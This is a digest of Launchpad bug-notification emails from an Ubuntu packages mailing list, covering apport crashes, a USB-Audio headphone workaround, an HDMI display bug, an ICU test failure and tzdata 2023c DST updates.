** Changed in: apport Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/2008638 Title: apport-gtk crashed with urllib.error.HTTPError in http_error_default(): HTTP Error 502: Bad Gateway Status in Apport: Fix Released Status in apport package in Ubuntu: Confirmed Bug description: Had a Nautlius crash prior to this error. ProblemType: Crash DistroRelease: Ubuntu 23.04 Package: apport-gtk 2.26.0-0ubuntu2 ProcVersionSignature: Ubuntu 5.19.0-21.21-generic 5.19.7 Uname: Linux 5.19.0-21-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.26.0-0ubuntu2 Architecture: amd64 CasperMD5CheckResult: pass CrashReports: 640:1201:124:38512857:2023-02-24 12:17:00.435185909 -0500:2023-02-24 12:17:01.435185909 -0500:/var/crash/_usr_bin_gnome-shell.1201.crash 640:1000:1000:90509:2023-02-26 10:18:25.277171373 -0500:2023-02-26 10:18:26.277171373 -0500:/var/crash/_usr_share_apport_apport-gtk.1000.crash 600:116:124:37:2023-02-26 10:18:21.948992294 -0500:2023-02-18 17:59:57.688578533 -0500:/var/crash/_usr_bin_nautilus.1000.uploaded 640:1000:124:14955989:2023-02-26 10:16:50.213119506 -0500:2023-02-26 10:17:03.637664041 -0500:/var/crash/_usr_bin_nautilus.1000.crash 664:1000:1000:0:2023-02-26 10:17:03.617663168 -0500:2023-02-26 10:17:03.617663168 -0500:/var/crash/_usr_bin_nautilus.1000.upload CurrentDesktop: ubuntu:GNOME Date: Sun Feb 26 10:18:26 2023 ExecutablePath: /usr/share/apport/apport-gtk InstallationDate: Installed on 2023-02-13 (12 days ago) InstallationMedia: Ubuntu 23.04 "Lunar Lobster" - Alpha amd64 (20221209) InterpreterPath: /usr/bin/python3.11 JournalErrors: Feb 26 10:18:26 hostname systemd[2030]: update-notifier-crash.service: Failed with result 'exit-code'. Feb 26 10:18:26 hostname systemd[2030]: Failed to start Notification regarding a crash report. PackageArchitecture: all ProcCmdline: /usr/bin/python3 /usr/share/apport/apport-gtk ProcEnviron: LANG=en_US.UTF-8 PATH=(custom, no user) SHELL=/bin/bash XDG_RUNTIME_DIR= Python3Details: /usr/bin/python3.11, Python 3.11.1, python3-minimal, 3.11.1-3 PythonArgs: ['/usr/share/apport/apport-gtk'] PythonDetails: N/A SourcePackage: apport Title: apport-gtk crashed with urllib.error.HTTPError in http_error_default(): HTTP Error 502: Bad Gateway UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo users To manage notifications about this bug go to: https://bugs.launchpad.net/apport/+bug/2008638/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2012374] Re: Cannot enable the TUI: error opening terminal [TERM=]
** Changed in: apport Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/2012374 Title: Cannot enable the TUI: error opening terminal [TERM=] Status in Apport: Fix Released Status in apport package in Ubuntu: Fix Committed Bug description: I try to analyze a crash report on riscv64. I am connected to the system via ssh. sudo DEBUGINFOD_VERBOSE=1 apport-retrace --gdb --sandbox system --cache ~/.cache/apport-retrace /var/crash/_usr_bin_qemu-x86_64-static.0.crash In the opened gdb I try to show the source: (gdb) lay src Cannot enable the TUI: error opening terminal [TERM=] My expectation is that gdb shows the source layout. gdb works fine outside apport-retrace. # echo $TERM xterm-256color To manage notifications about this bug go to: https://bugs.launchpad.net/apport/+bug/2012374/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1954628] Re: [USB-Audio - ALC4080] Front panel: Headphone output not working
Hello, I have the same problem with Z690 AORUS ULTRA (rev. 1.x) test it works $ aplay -D plughw:`aplay -l | grep "USB Audio" | head -n 1 | cut -d " " -f 2 | cut -d ":" -f 1`,1 /usr/share/sounds/alsa/Front_Center.wav $ pacmd load-module module-alsa-sink device=hw:`aplay -l | grep "USB Audio" | head -n 1 | cut -d " " -f 2 | cut -d ":" -f 1`,1 Is it possible to do some configuration so that this is fixed permanently? ** Attachment added: "alsa-base.conf" https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1954628/+attachment/5663409/+files/alsa-base.conf -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1954628 Title: [USB-Audio - ALC4080] Front panel: Headphone output not working Status in alsa-driver package in Ubuntu: Confirmed Bug description: I have a MSI MAG X570s Torpedo MAX motherboard, which has an onboard 'Starship/Matisse HD Audio Controller' (-> ALC4080 USB based audio chip) controller that has a weird mapping via USB audio (see bug: https://bugzilla.kernel.org/show_bug.cgi?id=206873 for a similar configuration). Sound via line-out works fine without any interventions. Headphone output however does not, while Ubuntu correctly detects the headphones as being plugged in when selected sound is still output via line-out, instead of via the front panel headphone jack-out. After some debugging I figured the headphones are connected to a seperate Alsa device on the same card as the line-out. Running 'pacmd load-module module-alsa-sink device=hw:2,1' gives me a working audio output that plays just via the headphone out. I guess a quirk needs to be written for the configuration. ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: alsa-base 1.0.25+dfsg-0ubuntu7 ProcVersionSignature: Ubuntu 5.13.0-22.22-generic 5.13.19 Uname: Linux 5.13.0-22-generic x86_64 ApportVersion: 2.20.11-0ubuntu71 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: gijs 2129 F pulseaudio /dev/snd/pcmC2D1p: gijs 2129 F...m pulseaudio /dev/snd/controlC0: gijs 2129 F pulseaudio CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Mon Dec 13 09:28:19 2021 InstallationDate: Installed on 2020-12-06 (371 days ago) InstallationMedia: Ubuntu 20.10 "Groovy Gorilla" - Release amd64 (20201022) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:Audio successful Symptom_Card: USB Audio - USB Audio Symptom_PulsePlaybackTest: PulseAudio playback test successful Symptom_Type: Only some of outputs are working Title: [USB-Audio - USB Audio, playback] Playback problem UpgradeStatus: Upgraded to impish on 2021-09-28 (75 days ago) dmi.bios.date: 07/09/2021 dmi.bios.release: 5.17 dmi.bios.vendor: American Megatrends International, LLC. dmi.bios.version: A.00 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: MAG X570S TORPEDO MAX (MS-7D54) dmi.board.vendor: Micro-Star International Co., Ltd. dmi.board.version: 1.0 dmi.chassis.asset.tag: To be filled by O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: Micro-Star International Co., Ltd. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInternational,LLC.:bvrA.00:bd07/09/2021:br5.17:svnMicro-StarInternationalCo.,Ltd.:pnMS-7D54:pvr1.0:rvnMicro-StarInternationalCo.,Ltd.:rnMAGX570STORPEDOMAX(MS-7D54):rvr1.0:cvnMicro-StarInternationalCo.,Ltd.:ct3:cvr1.0:skuTobefilledbyO.E.M.: dmi.product.family: To be filled by O.E.M. dmi.product.name: MS-7D54 dmi.product.sku: To be filled by O.E.M. dmi.product.version: 1.0 dmi.sys.vendor: Micro-Star International Co., Ltd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1954628/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2016036] [NEW] hdmi port
Public bug reported: hello ubuntu developer i have a strict bug in latest version of ubuntu which make my hdmi port unable to connect to monitors or tv and need to disconnect the hdmi and power off and power on laptop again and when everything is up connect the hdmi to work probably and even reset doesn't work for it and this problem is exist on stackoverflow where i learned i should power of to solve the problem ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.19.0-38.39~22.04.1-generic 5.19.17 Uname: Linux 5.19.0-38-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.3 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Wed Apr 12 21:37:13 2023 DistUpgraded: Fresh install DistroCodename: jammy DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0166] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company 3rd Gen Core processor Graphics Controller [103c:194d] Advanced Micro Devices, Inc. [AMD/ATI] Mars [Radeon HD 8670A/8670M/8750M / R7 M370] [1002:6600] (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Mars [Radeon HD 8670A/8670M/8750M / R7 M370] [103c:194d] InstallationDate: Installed on 2023-03-23 (20 days ago) InstallationMedia: Ubuntu 22.04.2 LTS "Jammy Jellyfish" - Release amd64 (20230223) MachineType: Hewlett-Packard HP ProBook 450 G0 ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.19.0-38-generic root=UUID=0c5a4433-24e9-49cb-8f3e-abeb93f03066 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/11/2019 dmi.bios.release: 15.112 dmi.bios.vendor: Hewlett-Packard dmi.bios.version: 68IRF Ver. F.70 dmi.board.name: 194B dmi.board.vendor: Hewlett-Packard dmi.board.version: KBC Version 90.0F dmi.chassis.type: 10 dmi.chassis.vendor: Hewlett-Packard dmi.ec.firmware.release: 144.15 dmi.modalias: dmi:bvnHewlett-Packard:bvr68IRFVer.F.70:bd04/11/2019:br15.112:efr144.15:svnHewlett-Packard:pnHPProBook450G0:pvrA2018CD200:rvnHewlett-Packard:rn194B:rvrKBCVersion90.0F:cvnHewlett-Packard:ct10:cvr:skuC5F33AV#AB4: dmi.product.family: 103C_5336AN G=N L=BUS B=HP S=PRO dmi.product.name: HP ProBook 450 G0 dmi.product.sku: C5F33AV#AB4 dmi.product.version: A2018CD200 dmi.sys.vendor: Hewlett-Packard version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.113-2~ubuntu0.22.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 22.2.5-0ubuntu0.1~22.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:21.1.3-2ubuntu2.9 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20210115-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-2build1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug jammy ubuntu wayland-session -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/2016036 Title: hdmi port Status in xorg package in Ubuntu: New Bug description: hello ubuntu developer i have a strict bug in latest version of ubuntu which make my hdmi port unable to connect to monitors or tv and need to disconnect the hdmi and power off and power on laptop again and when everything is up connect the hdmi to work probably and even reset doesn't work for it and this problem is exist on stackoverflow where i learned i should power of to solve the problem ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: xorg 1:7.7+23ubuntu2 ProcVersionSignature: Ubuntu 5.19.0-38.39~22.04.1-generic 5.19.17 Uname: Linux 5.19.0-38-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.3 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Wed Apr 12 21:37:13 2023 DistUpgraded: Fresh install DistroCodename: jammy DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0166] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company 3rd Gen Core processor Graphics Controller [103c:194d] Advanced Micro Devices, Inc. [AMD/ATI] Mars [Radeon HD 8670A/8670M/8750M / R7 M370] [1002:6600] (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Mars [Radeon HD 8670A/8670M/8750M / R7 M370] [103c:194d]
[Touch-packages] [Bug 2016021] Re: icu FTBFS on lunar
OK makes sense. Tests that are 'skipped' as above are listed at the end of the test run (with the bug url) and can be optionally enabled. (BTW ICU 73 is in RC and releases soon.) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to icu in Ubuntu. https://bugs.launchpad.net/bugs/2016021 Title: icu FTBFS on lunar Status in icu package in Ubuntu: Confirmed Bug description: During the last test rebuild, it was noticed that icu failed to build from source, with the following failures in the test suite: - | *** FAILING TEST SUMMARY FOR: intltest TestAliasedNames TestCanonicalID TimeZoneTest format | *** END FAILING TEST SUMMARY FOR: intltest The issue is related to the recent tzdata updates: not only the usual batch of changes made to reflect the current state of the world, but also changes made to have a better data set for pre-1970 dates. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/icu/+bug/2016021/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2012599] Re: tzdata 2023a/2023b/2023c release - Egypt restoring DST
This bug was fixed in the package tzdata - 2023c-0ubuntu0.18.04 --- tzdata (2023c-0ubuntu0.18.04) bionic; urgency=medium * New upstream release (LP: #2012599) - Egypt now uses DST again, from April through October. - This year Morocco springs forward April 23, not April 30. - Palestine delays the start of DST this year. - Much of Greenland still uses DST from 2024 on. * Test timezones using Python pytz module * Add autopkgtest test case for 2023c release * Update debconf template and translations * Check that the old SystemV timezones are still available -- Benjamin Drung Mon, 03 Apr 2023 13:52:56 +0200 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to tzdata in Ubuntu. https://bugs.launchpad.net/bugs/2012599 Title: tzdata 2023a/2023b/2023c release - Egypt restoring DST Status in tzdata package in Ubuntu: Fix Released Status in tzdata source package in Bionic: Fix Released Status in tzdata source package in Focal: Fix Released Status in tzdata source package in Jammy: Fix Released Status in tzdata source package in Kinetic: Fix Released Status in tzdata source package in Lunar: Fix Released Bug description: [ Impact ] Recently the Egyptian authorities decided to restore DST. The first switch after the change is expected to take place on last Friday of April. The upstream tzdata 2023a release already reflects this change. The 2023a release contains the following changes: * Egypt now uses DST again, from April through October. * This year Morocco springs forward April 23, not April 30. * Palestine delays the start of DST this year. * Much of Greenland still uses DST from 2024 on. The 2023c release reverts the changes done in 2023b. [ Test Plan ] Test cases were added to the autopkgtest to cover the testing: * python: test_2023a * python: test_2023c * python: test_systemv_timezones (for releases <= 20.04 LTS) * python-icu: test_2023a (only for kinetic, jammy, focal) So the test plan is to check that the autopkgtest succeeds. Alternatively the python test_2023a can be run manually: * Set system timezone to Egypt (e.g. Africa/Cairo). * Set system time to 2023-04-27 23:59. * Wait and observe what happens at 2023-04-28 0:00 [Test Case for releases <= 20.04 LTS] Additionally, an upstream update of tzdata removed the 'old' SystemV timezones, so we should ensure that they are kept in Ubuntu 20.04 LTS and earlier releases. This is done by the test_systemv_timezones test case or can be checked manually with the following: diff <(zdump -v America/Phoenix | cut -d' ' -f2-) <(zdump -v SystemV/MST7 | cut -d' ' -f2-) [ Where problems could occur ] * Systems with incorrect timezone set (e.g. located outside of Egypt but still using Egyptian time) may observe unexpected time shift. [ Other Info ] The autopkgtest for chrony is flaky on jammy and kinetic (see bug #2002910). * More information with sources: https://en.wikipedia.org/wiki/Daylight_saving_time_in_Egypt#:~:text=Daylight%20saving%20time%20(DST)%20has,(DST)%20as%20of%202023. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/tzdata/+bug/2012599/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2012599] Re: tzdata 2023a/2023b/2023c release - Egypt restoring DST
This bug was fixed in the package tzdata - 2023c-0ubuntu0.20.04.0 --- tzdata (2023c-0ubuntu0.20.04.0) focal; urgency=medium * New upstream release (LP: #2012599) - Egypt now uses DST again, from April through October. - This year Morocco springs forward April 23, not April 30. - Palestine delays the start of DST this year. - Much of Greenland still uses DST from 2024 on. * Update the ICU timezone data to 2023c * Test timezones using Python pytz module * Add autopkgtest test case for 2023c release * Add autopkgtest test case for ICU timezone data 2023a/2023c * Update debconf template and translations * Check that the old SystemV timezones are still available -- Benjamin Drung Mon, 03 Apr 2023 13:30:19 +0200 ** Changed in: tzdata (Ubuntu Bionic) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to tzdata in Ubuntu. https://bugs.launchpad.net/bugs/2012599 Title: tzdata 2023a/2023b/2023c release - Egypt restoring DST Status in tzdata package in Ubuntu: Fix Released Status in tzdata source package in Bionic: Fix Released Status in tzdata source package in Focal: Fix Released Status in tzdata source package in Jammy: Fix Released Status in tzdata source package in Kinetic: Fix Released Status in tzdata source package in Lunar: Fix Released Bug description: [ Impact ] Recently the Egyptian authorities decided to restore DST. The first switch after the change is expected to take place on last Friday of April. The upstream tzdata 2023a release already reflects this change. The 2023a release contains the following changes: * Egypt now uses DST again, from April through October. * This year Morocco springs forward April 23, not April 30. * Palestine delays the start of DST this year. * Much of Greenland still uses DST from 2024 on. The 2023c release reverts the changes done in 2023b. [ Test Plan ] Test cases were added to the autopkgtest to cover the testing: * python: test_2023a * python: test_2023c * python: test_systemv_timezones (for releases <= 20.04 LTS) * python-icu: test_2023a (only for kinetic, jammy, focal) So the test plan is to check that the autopkgtest succeeds. Alternatively the python test_2023a can be run manually: * Set system timezone to Egypt (e.g. Africa/Cairo). * Set system time to 2023-04-27 23:59. * Wait and observe what happens at 2023-04-28 0:00 [Test Case for releases <= 20.04 LTS] Additionally, an upstream update of tzdata removed the 'old' SystemV timezones, so we should ensure that they are kept in Ubuntu 20.04 LTS and earlier releases. This is done by the test_systemv_timezones test case or can be checked manually with the following: diff <(zdump -v America/Phoenix | cut -d' ' -f2-) <(zdump -v SystemV/MST7 | cut -d' ' -f2-) [ Where problems could occur ] * Systems with incorrect timezone set (e.g. located outside of Egypt but still using Egyptian time) may observe unexpected time shift. [ Other Info ] The autopkgtest for chrony is flaky on jammy and kinetic (see bug #2002910). * More information with sources: https://en.wikipedia.org/wiki/Daylight_saving_time_in_Egypt#:~:text=Daylight%20saving%20time%20(DST)%20has,(DST)%20as%20of%202023. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/tzdata/+bug/2012599/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2012599] Re: tzdata 2023a/2023b/2023c release - Egypt restoring DST
This bug was fixed in the package tzdata - 2023c-0ubuntu0.22.04.0 --- tzdata (2023c-0ubuntu0.22.04.0) jammy; urgency=medium * New upstream release (LP: #2012599) - Egypt now uses DST again, from April through October. - This year Morocco springs forward April 23, not April 30. - Palestine delays the start of DST this year. - Much of Greenland still uses DST from 2024 on. * Update the ICU timezone data to 2023c * Test timezones using Python's zoneinfo module * Add autopkgtest test case for 2023c release * Add autopkgtest test case for ICU timezone data 2023a/2023c * Update debconf template and translations -- Benjamin Drung Mon, 03 Apr 2023 13:12:42 +0200 ** Changed in: tzdata (Ubuntu Jammy) Status: Fix Committed => Fix Released ** Changed in: tzdata (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to tzdata in Ubuntu. https://bugs.launchpad.net/bugs/2012599 Title: tzdata 2023a/2023b/2023c release - Egypt restoring DST Status in tzdata package in Ubuntu: Fix Released Status in tzdata source package in Bionic: Fix Released Status in tzdata source package in Focal: Fix Released Status in tzdata source package in Jammy: Fix Released Status in tzdata source package in Kinetic: Fix Released Status in tzdata source package in Lunar: Fix Released Bug description: [ Impact ] Recently the Egyptian authorities decided to restore DST. The first switch after the change is expected to take place on last Friday of April. The upstream tzdata 2023a release already reflects this change. The 2023a release contains the following changes: * Egypt now uses DST again, from April through October. * This year Morocco springs forward April 23, not April 30. * Palestine delays the start of DST this year. * Much of Greenland still uses DST from 2024 on. The 2023c release reverts the changes done in 2023b. [ Test Plan ] Test cases were added to the autopkgtest to cover the testing: * python: test_2023a * python: test_2023c * python: test_systemv_timezones (for releases <= 20.04 LTS) * python-icu: test_2023a (only for kinetic, jammy, focal) So the test plan is to check that the autopkgtest succeeds. Alternatively the python test_2023a can be run manually: * Set system timezone to Egypt (e.g. Africa/Cairo). * Set system time to 2023-04-27 23:59. * Wait and observe what happens at 2023-04-28 0:00 [Test Case for releases <= 20.04 LTS] Additionally, an upstream update of tzdata removed the 'old' SystemV timezones, so we should ensure that they are kept in Ubuntu 20.04 LTS and earlier releases. This is done by the test_systemv_timezones test case or can be checked manually with the following: diff <(zdump -v America/Phoenix | cut -d' ' -f2-) <(zdump -v SystemV/MST7 | cut -d' ' -f2-) [ Where problems could occur ] * Systems with incorrect timezone set (e.g. located outside of Egypt but still using Egyptian time) may observe unexpected time shift. [ Other Info ] The autopkgtest for chrony is flaky on jammy and kinetic (see bug #2002910). * More information with sources: https://en.wikipedia.org/wiki/Daylight_saving_time_in_Egypt#:~:text=Daylight%20saving%20time%20(DST)%20has,(DST)%20as%20of%202023. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/tzdata/+bug/2012599/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2012599] Update Released
The verification of the Stable Release Update for tzdata has completed successfully and the package is now being released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to tzdata in Ubuntu. https://bugs.launchpad.net/bugs/2012599 Title: tzdata 2023a/2023b/2023c release - Egypt restoring DST Status in tzdata package in Ubuntu: Fix Released Status in tzdata source package in Bionic: Fix Released Status in tzdata source package in Focal: Fix Released Status in tzdata source package in Jammy: Fix Released Status in tzdata source package in Kinetic: Fix Released Status in tzdata source package in Lunar: Fix Released Bug description: [ Impact ] Recently the Egyptian authorities decided to restore DST. The first switch after the change is expected to take place on last Friday of April. The upstream tzdata 2023a release already reflects this change. The 2023a release contains the following changes: * Egypt now uses DST again, from April through October. * This year Morocco springs forward April 23, not April 30. * Palestine delays the start of DST this year. * Much of Greenland still uses DST from 2024 on. The 2023c release reverts the changes done in 2023b. [ Test Plan ] Test cases were added to the autopkgtest to cover the testing: * python: test_2023a * python: test_2023c * python: test_systemv_timezones (for releases <= 20.04 LTS) * python-icu: test_2023a (only for kinetic, jammy, focal) So the test plan is to check that the autopkgtest succeeds. Alternatively the python test_2023a can be run manually: * Set system timezone to Egypt (e.g. Africa/Cairo). * Set system time to 2023-04-27 23:59. * Wait and observe what happens at 2023-04-28 0:00 [Test Case for releases <= 20.04 LTS] Additionally, an upstream update of tzdata removed the 'old' SystemV timezones, so we should ensure that they are kept in Ubuntu 20.04 LTS and earlier releases. This is done by the test_systemv_timezones test case or can be checked manually with the following: diff <(zdump -v America/Phoenix | cut -d' ' -f2-) <(zdump -v SystemV/MST7 | cut -d' ' -f2-) [ Where problems could occur ] * Systems with incorrect timezone set (e.g. located outside of Egypt but still using Egyptian time) may observe unexpected time shift. [ Other Info ] The autopkgtest for chrony is flaky on jammy and kinetic (see bug #2002910). * More information with sources: https://en.wikipedia.org/wiki/Daylight_saving_time_in_Egypt#:~:text=Daylight%20saving%20time%20(DST)%20has,(DST)%20as%20of%202023. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/tzdata/+bug/2012599/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2012599] Re: tzdata 2023a/2023b/2023c release - Egypt restoring DST
This bug was fixed in the package tzdata - 2023c-0ubuntu0.22.10.0 --- tzdata (2023c-0ubuntu0.22.10.0) kinetic; urgency=medium * New upstream release (LP: #2012599) - Egypt now uses DST again, from April through October. - This year Morocco springs forward April 23, not April 30. - Palestine delays the start of DST this year. - Much of Greenland still uses DST from 2024 on. * Update the ICU timezone data to 2023c * Test timezones using Python's zoneinfo module * Add autopkgtest test case for 2023c release * Add autopkgtest test case for ICU timezone data 2023a/2023c * Update debconf template and translations -- Benjamin Drung Sun, 02 Apr 2023 15:38:36 +0200 ** Changed in: tzdata (Ubuntu Kinetic) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to tzdata in Ubuntu. https://bugs.launchpad.net/bugs/2012599 Title: tzdata 2023a/2023b/2023c release - Egypt restoring DST Status in tzdata package in Ubuntu: Fix Released Status in tzdata source package in Bionic: Fix Released Status in tzdata source package in Focal: Fix Released Status in tzdata source package in Jammy: Fix Released Status in tzdata source package in Kinetic: Fix Released Status in tzdata source package in Lunar: Fix Released Bug description: [ Impact ] Recently the Egyptian authorities decided to restore DST. The first switch after the change is expected to take place on last Friday of April. The upstream tzdata 2023a release already reflects this change. The 2023a release contains the following changes: * Egypt now uses DST again, from April through October. * This year Morocco springs forward April 23, not April 30. * Palestine delays the start of DST this year. * Much of Greenland still uses DST from 2024 on. The 2023c release reverts the changes done in 2023b. [ Test Plan ] Test cases were added to the autopkgtest to cover the testing: * python: test_2023a * python: test_2023c * python: test_systemv_timezones (for releases <= 20.04 LTS) * python-icu: test_2023a (only for kinetic, jammy, focal) So the test plan is to check that the autopkgtest succeeds. Alternatively the python test_2023a can be run manually: * Set system timezone to Egypt (e.g. Africa/Cairo). * Set system time to 2023-04-27 23:59. * Wait and observe what happens at 2023-04-28 0:00 [Test Case for releases <= 20.04 LTS] Additionally, an upstream update of tzdata removed the 'old' SystemV timezones, so we should ensure that they are kept in Ubuntu 20.04 LTS and earlier releases. This is done by the test_systemv_timezones test case or can be checked manually with the following: diff <(zdump -v America/Phoenix | cut -d' ' -f2-) <(zdump -v SystemV/MST7 | cut -d' ' -f2-) [ Where problems could occur ] * Systems with incorrect timezone set (e.g. located outside of Egypt but still using Egyptian time) may observe unexpected time shift. [ Other Info ] The autopkgtest for chrony is flaky on jammy and kinetic (see bug #2002910). * More information with sources: https://en.wikipedia.org/wiki/Daylight_saving_time_in_Egypt#:~:text=Daylight%20saving%20time%20(DST)%20has,(DST)%20as%20of%202023. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/tzdata/+bug/2012599/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
Re: [Touch-packages] [Bug 2016021] Re: icu FTBFS on lunar
Quoting Steven R. Loomis (2023-04-12 17:30:25) > What ICU is this? I can't tell which version from here. Your analysis That'd be 72.1-3ubuntu1, now ubuntu2 with this patch. This bug was mostly for reference for the folks in the Ubuntu release team since we're in feature freeze, almost at final freeze. I uploaded the fix directly afterward. That's my bad, I should have been more explicit about that :) > sounds reasonable, may have to ignore the tests (there's a logKnownIssue > mechanism) - put the following before the failing test case: > > if > (logKnownIssue("https://bugs.launchpad.net/ubuntu/+source/icu/+bug/2016021;, > "tzdata issue")) { > return; > } Given that icu is a regular in our FTBFS reports due to tzdata updates, we might indeed end up doing so, but in general I'd rather adapt the tests to the specificities of the distro than disable them altogether. Thanks for the tip though, much appreciated! -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to icu in Ubuntu. https://bugs.launchpad.net/bugs/2016021 Title: icu FTBFS on lunar Status in icu package in Ubuntu: Confirmed Bug description: During the last test rebuild, it was noticed that icu failed to build from source, with the following failures in the test suite: - | *** FAILING TEST SUMMARY FOR: intltest TestAliasedNames TestCanonicalID TimeZoneTest format | *** END FAILING TEST SUMMARY FOR: intltest The issue is related to the recent tzdata updates: not only the usual batch of changes made to reflect the current state of the world, but also changes made to have a better data set for pre-1970 dates. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/icu/+bug/2016021/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 2015943] Re: gstreamer 1.22.2 bugfix release
